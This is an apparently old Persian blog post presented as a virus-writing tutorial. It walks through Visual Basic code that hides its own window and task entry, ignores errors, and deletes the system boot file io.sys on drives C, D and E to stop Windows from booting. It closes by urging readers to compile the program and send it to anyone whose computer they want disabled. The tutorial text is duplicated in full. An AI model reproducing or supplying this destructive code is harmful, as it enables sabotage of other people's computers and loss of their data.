آموزش ويروس نويسي
سلام
می خوایم با هم یه ویروس ساده تو VB درست کنیم که یک فایل مهم رو حذف می کنه و نمی زاره ویندوز بوت بشه
ضمنا بگم این آموزشی پس خیلی سادست و من هم قصد ندارم زیاد سخت آموزش بدم !
شروع می کنیم :
یه پروژه Standard Exe رو باز می کنیم. روی فرم دوبار کلیک می کنیم تا پنجره ی کد باز بشه . بعد همچین چیزی می بینید :
Private Sub Form_Load()
End sub
خوب خط اول شروع رویداد بار گذاری فرم رو نشون می ده . ما الان هر چی کد می خوایم بنویسیم بین این دو تا می زاریم .
حالا خط پایین رو اضافه بین این دوتا خط اضافه می کنیم :
On error resume next
که معنیش اینه که اگه اشکالی تو برنامه پیش اومد برنامه رو متوقف نشه معمولا اگه اشکالی در برنامه بوجود بیاد برنامه متوقف می شه .
حالا این دو خط رو هم اضافه می کنیم :
Me.hide
App.taskvisible = false
معنی خط اول اینه که برنامه ( فرم ) رو مخفی کنه . و معنی خط دوم اینه که اگه طرف Ctrl + Alt + Del رو بزنه
اسم برنامه تو قسمت "Applications " دیده نشه .
این سه خط کد رو هم اضافه کنید :
kill "C:\io.sys"
kill "D:\io.sys"
kill "E:\io.sys"
خوب اگه ما بخوایم تو ویژوال بیسیک فایلی رو دیلیت کنیم اول می نویسیم : kill بعد یک فاصله ( Space ) می دیم بعد یک عدد : " می زاریم سپس آدرس فایلی رو که می خوایم دیلیت کنیم می نویسیم بعدش یه دونه : " می زاریم .
خوب همونطور که فهمیدید این سه خط بالا فایل io.sys رو که یکی از فایلهای اساسی هست رو دیلیت می کنن .
حالا چرا سه بار تکرار شده ؟ باید بگم که شاید ویندوز تو یکی از این درایوها نصب شده باشه و این درایوهای C,D,E رو امتحان می کنه (نخواستم از Api استغاده کنم)
دست آخر هم این خط رو اضافه می کنیم :
End
این از برنامه خارج می شه و برنامه رو می بنده .
حالا ویروس رو کامپایل کنید یعنی از منوی فایل گزینه make project1.exe رو انتخاب و واسه هرکی که می خواین ویندوزش دیگه بالا نیاد بفرستین .
----
چطور بود ؟ اگه حال داشتم قسمت 2 رو هم می نویسم
می خوایم با هم یه ویروس ساده تو VB درست کنیم که یک فایل مهم رو حذف می کنه و نمی زاره ویندوز بوت بشه
ضمنا بگم این آموزشی پس خیلی سادست و من هم قصد ندارم زیاد سخت آموزش بدم !
شروع می کنیم :
یه پروژه Standard Exe رو باز می کنیم. روی فرم دوبار کلیک می کنیم تا پنجره ی کد باز بشه . بعد همچین چیزی می بینید :
Private Sub Form_Load()
End sub
خوب خط اول شروع رویداد بار گذاری فرم رو نشون می ده . ما الان هر چی کد می خوایم بنویسیم بین این دو تا می زاریم .
حالا خط پایین رو اضافه بین این دوتا خط اضافه می کنیم :
On error resume next
که معنیش اینه که اگه اشکالی تو برنامه پیش اومد برنامه رو متوقف نشه معمولا اگه اشکالی در برنامه بوجود بیاد برنامه متوقف می شه .
حالا این دو خط رو هم اضافه می کنیم :
Me.hide
App.taskvisible = false
معنی خط اول اینه که برنامه ( فرم ) رو مخفی کنه . و معنی خط دوم اینه که اگه طرف Ctrl + Alt + Del رو بزنه
اسم برنامه تو قسمت "Applications " دیده نشه .
این سه خط کد رو هم اضافه کنید :
kill "C:\io.sys"
kill "D:\io.sys"
kill "E:\io.sys"
خوب اگه ما بخوایم تو ویژوال بیسیک فایلی رو دیلیت کنیم اول می نویسیم : kill بعد یک فاصله ( Space ) می دیم بعد یک عدد : " می زاریم سپس آدرس فایلی رو که می خوایم دیلیت کنیم می نویسیم بعدش یه دونه : " می زاریم .
خوب همونطور که فهمیدید این سه خط بالا فایل io.sys رو که یکی از فایلهای اساسی هست رو دیلیت می کنن .
حالا چرا سه بار تکرار شده ؟ باید بگم که شاید ویندوز تو یکی از این درایوها نصب شده باشه و این درایوهای C,D,E رو امتحان می کنه (نخواستم از Api استغاده کنم)
دست آخر هم این خط رو اضافه می کنیم :
End
این از برنامه خارج می شه و برنامه رو می بنده .
حالا ویروس رو کامپایل کنید یعنی از منوی فایل گزینه make project1.exe رو انتخاب و واسه هرکی که می خواین ویندوزش دیگه بالا نیاد بفرستین .
----
چطور بود ؟ اگه حال داشتم قسمت 2 رو هم می نویسم
+ نوشته شده در چهارشنبه پنجم بهمن 1384ساعت 7:46 بعد از ظهر  توسط مهندس کور رحمان
|